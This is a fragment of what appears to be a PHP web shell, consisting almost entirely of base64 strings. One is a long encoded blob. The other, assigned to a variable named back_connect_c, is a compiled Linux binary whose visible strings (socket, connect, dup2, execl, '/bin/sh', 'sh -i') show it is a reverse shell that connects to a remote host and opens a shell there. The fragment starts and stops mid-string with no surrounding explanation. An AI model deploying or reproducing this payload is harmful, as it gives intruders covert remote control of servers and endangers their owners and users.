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"; + +$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+DxBCJRcyD7AiLRQyDwASD7AT/MOgI/v//g8QIicOLRQyDwAiD7AT/MOjz/f//g8QIjQQDQFCLRQyDwAT/MOgu/v//g8QQg+wEagZqAWoC6G3+//+DxBCJReSD7ARqEI1FyFD/deToRv7//4PEEIXAeRqD7AxoCYkECOhy/f//g8QQg+wMagDo9f3//4PsCItFDP8wjUWoUOjE/f//g8QQg+wMjUWoUOhV/f//g8QQg+wIagD/deTolf3//4PEEIPsCGoB/3Xk6IX9//+DxBCD7AhqAv915Oh1/f//g8QQg+wEagBoF4kECGgdiQQI6N78//+DxBCD7Az/deTo4Pz//4PEEI1l9FteX8nDkFWJ5VdWU4PsDOgAAAAAW4HD6hEAAOiC/P//jYMg////jZMg////iUXwKdAx9sH4AjnGcxaJ14n2/xSyi03wKflGwfkCOc6J+nLug8QMW15fycOJ9lWJ5VdWU+gAAAAAW4HDmREAAI2DIP///427IP///yn4wfgCg+wMjXD/6wWQ/xS3ToP+/3X36C4AAACDxAxbXl/Jw5CQVYnlU1K7LJkECKEsmQQI6wqNdgCD6wT/0IsDg/j/dfRYW8nDVYnlU+gAAAAAW4HDMxEAAFDoOv3//1lbycMAAAMAAAABAAIAcm0gLWYgAAAAAAAAAAAAAAAAAAAAWy1dIGNvbm5lY3QoKQBzaCAtaQAvYmluL3NoAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAEAAAAkAAAADAAAALCEBAgNAAAA0IgECAQAAABIgQQIBQAAACSDBAgGAAAA5IEECAoAAAC8AAAACwAAABAAAAAVAAAAAAAAAAMAAAAMmgQIAgAAAIAAAAAUAAAAEQAAABcAAAAwhAQIEQAAACiEBAgSAAAACAAAABMAAAAIAAAA/v//bwiEBAj///9vAQAAAPD//2/ggwQIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECZBAgAAAAAAAAAAN6EBAjuhAQI/oQECA6FBAgehQQILoUECD6FBAhOhQQIXoUECG6FBAh+hQQIjoUECJ6FBAiuhQQIvoUECM6FBAgAAAAAAAAAADiZBAgAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgA